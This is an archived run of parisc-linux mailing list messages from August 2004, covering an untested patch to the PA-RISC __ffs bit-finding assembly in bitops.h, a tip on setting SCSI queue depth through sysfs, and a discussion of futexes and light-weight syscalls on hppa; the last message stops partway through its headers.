Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4BFD3BE2F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Aug 2004 08:53:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08775-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 9 Aug 2004 08:53:05 -0600 (MDT)
Original-Received: from mail.goquest.com (unknown [12.18.108.6])
	by free.linux.hp.com (Postfix) with SMTP id 0CC7E3BE05
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Aug 2004 08:53:05 -0600 (MDT)
Original-Received: (qmail 8925 invoked by uid 497); 9 Aug 2004 14:52:52 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with
	qmail-scanner-1.20st (clamscan: 0.60. spamassassin: 2.55.
	Clear:RC:1(66.90.216.112):SA:0(0.0/5.0):. 
	Processed in 6.52832 secs); 09 Aug 2004 14:52:52 -0000
X-Spam-Status: No, hits=0.0 required=5.0
X-Qmail-Scanner-Mail-From: mszick@goquest.com via mail.goquest.com
X-Qmail-Scanner: 1.20st (Clear:RC:1(66.90.216.112):SA:0(0.0/5.0):. Processed
	in 6.52832 secs)
Original-Received: from unknown (HELO 66-90-216-112.dyn.grandenetworks.net)
	(66.90.216.112)
	by mail.goquest.com with SMTP; 9 Aug 2004 14:52:45 -0000
User-Agent: KMail/1.6.2
In-Reply-To: <1091293141.1920.34.camel@mulgrave>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21858


--Boundary-00=_QA5FBDkgj6Nfe4p
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Sat July 31 2004 11:58, James Bottomley wrote:
> On Sat, 2004-07-31 at 10:29, Michael S. Zick wrote:
> > How about a different algorithm?
> > Say:: 3 * Log_2 (Register Size)
> 
> This algorithm is a more complex form of generic_ffz() in linux/bitops.h
> 
> perhaps we should use generic_ffz as the basis for this?
> 
generic_ffz is defined as integer - is 'integer' the same size
cpu32 and cpu64?  If not, that routine needs a size-conditional
test for the other 32 bits on cpu64.

Here is a suggested fix for include/asm-parisc/bitops.h -

NOTE 1: I have no way to test this - some needs to check my
work.

NOTE 2: I did try to do this on (electronic) pencil and paper -
You can get the pictures at: <www.goquest.com/~mszick>
as: hpbitfinder.ps.bz2

NOTE 3: Same diff is attached as in-lined, just in case my
mail agent trashes it.

Mike

Index: include/asm-parisc/bitops.h
===================================================================
RCS file: /opt/lib/cvs/parisc/include/asm-parisc/bitops.h,v
retrieving revision 1.1.1.1
diff -u -3 -p -r1.1.1.1 bitops.h
--- a/include/asm-parisc/bitops.h	13 Jul 2004 05:40:29 -0000	1.1.1.1
+++ b/include/asm-parisc/bitops.h	9 Aug 2004 14:33:03 -0000
@@ -217,11 +217,16 @@ static __inline__ int test_bit(int nr, c
  *
  * This algorithm avoids branches by making use of nullification.
  * One side effect of "extr" instructions is it sets PSW[N] bit.
- * How PSW[N] (nullify next insn) gets set is determined by the
+ * How PSW[N] (nullify next insn) gets set is determined by the
  * "condition" field (eg "<>" or "TR" below) in the extr* insn.
  * Only the 1st and one of either the 2cd or 3rd insn will get executed.
  * Each set of 3 insn will get executed in 2 cycles on PA8x00 vs 16 or so
  * cycles for each mispredicted branch.
+ *
+ * Provide either a u64 or u32 version based on cpu register size.
+ * Note that the hard coded field indexes depend on cpu register size;
+ * and the extract instruction generates a right-justified result.
+ * The index numbers are hp-bit-position not radix 2 numbers. <msz>
  */

 static __inline__ unsigned long __ffs(unsigned long x)
@@ -229,14 +234,27 @@ static __inline__ unsigned long __ffs(un
 	unsigned long ret;

 	__asm__(
-#if BITS_PER_LONG > 32
+#ifdef __LP64__
 		" ldi       63,%1\n"
 		" extrd,u,*<>  %0,63,32,%%r0\n"
 		" extrd,u,*TR  %0,31,32,%0\n"	/* move top 32-bits down */
 		" addi    -32,%1,%1\n"
+		" extrd,u,*<>  %0,63,16,%%r0\n"
+		" extrd,u,*TR  %0,47,16,%0\n"   /* xxxx0000 -> 0000xxxx */
+		" addi    -16,%1,%1\n"
+		" extrd,u,*<>  %0,63,8,%%r0\n"
+		" extrd,u,*TR  %0,55,8,%0\n"    /* 0000xx00 -> 000000xx */
+		" addi    -8,%1,%1\n"
+		" extrd,u,*<>  %0,63,4,%%r0\n"
+		" extrd,u,*TR  %0,59,4,%0\n"    /* 000000x0 -> 0000000x */
+		" addi    -4,%1,%1\n"
+		" extrd,u,*<>  %0,63,2,%%r0\n"
+		" extrd,u,*TR  %0,61,2,%0\n"    /* 0000000y, 1100b -> 0011b */
+		" addi    -2,%1,%1\n"
+		" extrd,u,*=  %0,63,1,%%r0\n"   /* check last bit */
+		" addi    -1,%1,%1\n"
 #else
 		" ldi       31,%1\n"
-#endif
 		" extru,<>  %0,31,16,%%r0\n"
 		" extru,TR  %0,15,16,%0\n"	/* xxxx0000 -> 0000xxxx */
 		" addi    -16,%1,%1\n"
@@ -251,6 +269,7 @@ static __inline__ unsigned long __ffs(un
 		" addi    -2,%1,%1\n"
 		" extru,=  %0,31,1,%%r0\n"	/* check last bit */
 		" addi    -1,%1,%1\n"
+#endif
 			: "+r" (x), "=r" (ret) );
 	return ret;
 }



--Boundary-00=_QA5FBDkgj6Nfe4p
Content-Type: application/x-bzip2;
  name="bitops.h.diff.bz2"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="bitops.h.diff.bz2"

QlpoOTFBWSZTWRqrqgEAAnPfgFgwWn////r13I6//9/yUASeqWTobmM5i52bhiQpiNBo9TTSeU0Q
0zSNPUZDQD0CaHp6JqCUjQmEmpkBo0PUADQAAAAAASg1JT01NkRMDSYQyMNCYAmTCDAIxxkyaMQx
NMBAwJpgjBMTTTQAYQSJJkTEhjVPSj8CmyagaaaT9UzIgB6hgBkPmMrBQQiBj5G2NsG02DRWIWJU
/gc86I79bDxUwch2fiiWTXDgNX803ZppyHECSVSqD9Gh7q8xhqqv8tnzziVSSYJd6CiYz2+fNCIh
FAKHV38mzLZJICf33i+Mb/QgtKYIJIW08bN48oq6NXTq+J2zDoF2FtOEV1WBIJYMdbbdL428T55r
/FzfmrrGeWgxRw7hQ4wwrsCrHt6EEttkfTovpQ37umwZqtIsI65hj0GS4gvSSXrVPNNYqIN0FXKZ
MsZThaUPwcQQ/d+LSyN3TxlLCuaUZbqQ2R2fWz8kXaqX0wptudio+dHvdPISu9hkLkFaoCsO5B2M
SlKDq86W/gPcBISYhfqByyytc6eqV55JVB2piGPkhQgtSOYEXsbktm/RZ4vw8J+/RKdJTLp5SlRr
wMfNmHjHj1YS/MxNlGmXqlpdlEqVrekcMutjeY4iYNNH5c2qXoCIMWst8czblQNHBBeum1jrDsDj
5XFs8XOC3vxCTSIGkeAvKAZjln1sq07bRiabq4lb4FxMDW2eF7KCz33W2yunKTGwuOQvSK53MZRu
kNyI4Nt1ctk7YRWxE64oug0gspUWUycSMIrB7LsnEWOAZRglPiDlAY3CfthQr07q6cWG9JVzKS/w
kacrncnWYb+4GJErQ6gZC85kOlm2IeEG6h5bi61BJ6A2k3Nmy8XxiRG2Ydh+i1rpbbEwaaMy5RYO
mzSHqt3NKmxpQp4dUkDriBnF+tHH9Axf0UruD1Ys2bvksYy3hF42RAph60Pr7TumPA/YgJa2TnXx
ILpmElmZEQLEZYiSINkgSJB7+E0inUgUJKa7JwnevhIYlxlTmX/TfqC414TiWcZJ5FrUJ1rW+Xso
0eZ31aw842TGVtKjKhXZRNt4wNDWDxJFrouHvmjIBQzst4zoIl502goCaBaFbNRhIdi7rDEO9MIG
OSB4icOBmK6gvlkw5qllmZx2WMqsRTvLjWNsoHQX/9nCaWp2l6NEljRZiyGkm1zlMWSoTg3Zzbpy
lpaM0UKYUWkJlirRYRYE8lyKTOQg7pHPouYqRWfVAqoHfAILYI3nkockjZrCtKAh3Ckk32EwTnCF
2hgKoMkEA5shDs4OV4sQwenNqsp3CeyyNjAYMzRgDkCD0gkvt3RGLvAEzo8Ym4dcCQ1Nw1oez4Nc
UEMSRn8zUghaxtuDLUUc3GVqlqQuoRghgpcsQog+u5FGKMRT7otQIrqFqI0mkxnxgqiMmpWQtSLn
wosYrvXyRF61graAVUkwpYvjNU7VES7YrD6EigyhC+B2+dBvIViQ8DVO30CeL1iGR0HlgsgHgsK5
3fafwmkiAl7oBlDdsGZ7sZhjK/uLuSKcKEgNVdUAgA==

--Boundary-00=_QA5FBDkgj6Nfe4p
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_QA5FBDkgj6Nfe4p--



From - Thu Nov 08 21:32:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] uninline in bitops.c as ia64 or sparc64?
Date: Mon, 9 Aug 2004 12:15:30 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <200408091215.30941.mszick@goquest.com>
References: <40C36EFD.6040002@tiscali.be> <1091293141.1920.34.camel@mulgrave>
	<200408090954.08340.mszick@goquest.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623516 10372 80.91.229.3 (22 Nov 2014 02:31:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5403 invoked by uid 65534); 9 Aug 2004 17:16:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 09 Aug 2004 19:16:16 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 59B133BE54; Mon,  9 Aug 2004 11:16:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10789-02; Mon, 9 Aug 2004 11:16:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 555023BE63; Mon,  9 Aug 2004 11:15:50 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 264FF3BE23
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Aug 2004 11:15:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10255-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 9 Aug 2004 11:15:44 -0600 (MDT)
Original-Received: from mail.goquest.com (unknown [12.18.108.6])
	by free.linux.hp.com (Postfix) with SMTP id 932813BE05
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Aug 2004 11:15:43 -0600 (MDT)
Original-Received: (qmail 31098 invoked by uid 497); 9 Aug 2004 17:15:10 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with
	qmail-scanner-1.20st (clamscan: 0.60. spamassassin: 2.55.
	Clear:RC:1(66.90.216.112):SA:0(-2.5/5.0):. 
	Processed in 13.356446 secs); 09 Aug 2004 17:15:10 -0000
X-Spam-Status: No, hits=-2.5 required=5.0
X-Qmail-Scanner-Mail-From: mszick@goquest.com via mail.goquest.com
X-Qmail-Scanner: 1.20st (Clear:RC:1(66.90.216.112):SA:0(-2.5/5.0):. Processed
	in 13.356446 secs)
Original-Received: from unknown (HELO 66-90-216-112.dyn.grandenetworks.net)
	(66.90.216.112)
	by mail.goquest.com with SMTP; 9 Aug 2004 17:14:54 -0000
User-Agent: KMail/1.6.2
In-Reply-To: <200408090954.08340.mszick@goquest.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21859

On Mon August 9 2004 09:54, Michael S. Zick wrote:
>
-------
> 
> Mike
> 
> Index: include/asm-parisc/bitops.h
> ===================================================================
> RCS file: /opt/lib/cvs/parisc/include/asm-parisc/bitops.h,v
> retrieving revision 1.1.1.1
> diff -u -3 -p -r1.1.1.1 bitops.h
Sorry for the self-reply...

If compiled with 32-bit compiler the NOT(__LP64__) path will compile.
If the resultant program is loaded on a 64-bit machine running 'narrow mode';
it will fail.  Since the mode bit only changes the addressing not the 
bit-position numbering.(1)

Translation:
As submitted, it should compile for 64-bit and run 64-Wide;
it should compile for 32-bit and run 32-bit.
It is only the case of compiling for 32-bit and then trying to
run it on a 64-bit machine in narrow mode that should fail.

I'll work on this - I probably will abuse the shift-right-double
instruction to come up with a compiles correctly, runs anywhere
version.

Two other problems I am considering:

1) It only beats on two (not counting GR0) registers;
it will probably cause register stalls on pipelined machines.

2) It is bigger than a cache line, probably executes in less
than a memory cycle - so it will probably 'starve' the cpu;
waiting for the next memory cycle to fill the next i-cache line.

Taken all together - an interesting problem.

Mike
(1) Does 32-bit gcc ever generate extract/deposit? This might
cause problems running anything 32-bit on 64-bit-narrow.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to set Command Queue Depth?
Date: 10 Aug 2004 15:49:11 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <1092170956.1727.44.camel@mulgrave>
References: <411924BB.2010408@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623516 10379 80.91.229.3 (22 Nov 2014 02:31:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:56 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14647 invoked by uid 65534); 10 Aug 2004 20:50:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 10 Aug 2004 22:50:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 25A273BE95; Tue, 10 Aug 2004 14:50:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25273-02; Tue, 10 Aug 2004 14:50:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id F3C513BE93; Tue, 10 Aug 2004 14:49:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9A43E3BE87
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Aug 2004 14:49:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24593-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Aug 2004 14:49:25 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id EE73B3BE07
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Aug 2004 14:49:24 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i7AKnFX04524; Tue, 10 Aug 2004 16:49:15 -0400
In-Reply-To: <411924BB.2010408@hrzpub.tu-darmstadt.de>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21860

On Tue, 2004-08-10 at 14:40, Ruediger Scholz wrote:
> I have to install debian onto a new hard disc due to a head crash. I've 
> downloaded the new debian-installer (rc1), but when debian-installer is 
> formatting partitions my machine hangs saying "(scsi drive) is suffering 
> from tag starvation". I know this problem from running 2.4-kernels. 
> Normally I would change the queue depth to 1 in 53c7xx.h, but this is no 
> solution for the debian-installer...
> 
> So, is there a possibility to set the depth of the tag command queue of 
> the lasi Controller during run-time? I tried to use
>                 echo "settags all 1" > /proc/scsi/lasi700/0
> but this command never returns back to command prompt.
> Or can I use some kernel parameters during boot?
> And the last question: Is there a install image using a 2.6 kernel?

The required command is

echo 1 > /sys/bus/scsi/devices/<root device>/queue_depth

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] "If futex's were mutex's we'd have a fish fry!" or
	"Why we need LWS on hppa"
Date: Wed, 11 Aug 2004 15:57:31 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20040811195731.GK29662@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623517 10390 80.91.229.3 (22 Nov 2014 02:31:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 James Bottomley <James.Bottomley@steeleye.com>,
 Randolph Chung <tausq@debian.org>,
 John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23615 invoked by uid 65534); 11 Aug 2004 19:58:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx042) with SMTP; 11 Aug 2004 21:58:10 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7A90E3BE26; Wed, 11 Aug 2004 13:57:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03705-05; Wed, 11 Aug 2004 13:57:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A7EB33BE25; Wed, 11 Aug 2004 13:57:38 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 121FD3BE12
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Aug 2004 13:57:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03705-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Aug 2004 13:57:34 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id A25963BDF3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Aug 2004 13:57:33 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1BuzE3-0003NF-00; Wed, 11 Aug 2004 15:57:31 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (50% Sync Ratio [=====.....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21861


fellow hackers,

I continue to work on the light-weight-syscalls infrastructure, and it
seems to be going well. I have to continually rethink what is "correct"
and what is "practical" in terms of an implementation.

I asked for some help on IRC, in particular with some specific topics
regarding unaligned loads and other ugly things. The corner cases are
not so pretty.

It was suggested that CAS could be implemented by:

a. Blocking all blockable signals.
b. Using futex's to create a mutex around the CAS code.

(Thanks James!)

I was excited by the idea, but after reading:
http://people.redhat.com/drepper/futex.pdf

It became apparnet that (b) cannot be acomplished without having
hardware support for "compare and exchange" or "load lock/store"
primities in hardware. Even a broken mutex implementation requires
"atomic increment" which we don't have and is a prime target for
conversion to a LWS.

If you can show me wrong somewhere, please do, otherwise it seems like
we won't get working futex mutex support without having LWS working
first.

Cheers,
Carlos.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: "If futex's were mutex's we'd have a fish fry!"
	or "Why we need LWS on hppa"
Date: Wed, 11 Aug 2004 14:42:09 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20040811214208.GN546@tausq.org>
References: <20040811195731.GK29662@baldric.uwo.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623517 10398 80.91.229.3 (22 Nov 2014 02:31:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:57 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4276 invoked by uid 65534); 11 Aug 2004 21:42:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx015) with SMTP; 11 Aug 2004 23:42:42 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 565733BE25; Wed, 11 Aug 2004 15:42:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04837-08; Wed, 11 Aug 2004 15:42:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 734843BE26; Wed, 11 Aug 2004 15:42:15 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F27F3BE22
	for <parisc-linux@lists.parisc-linux.org>;
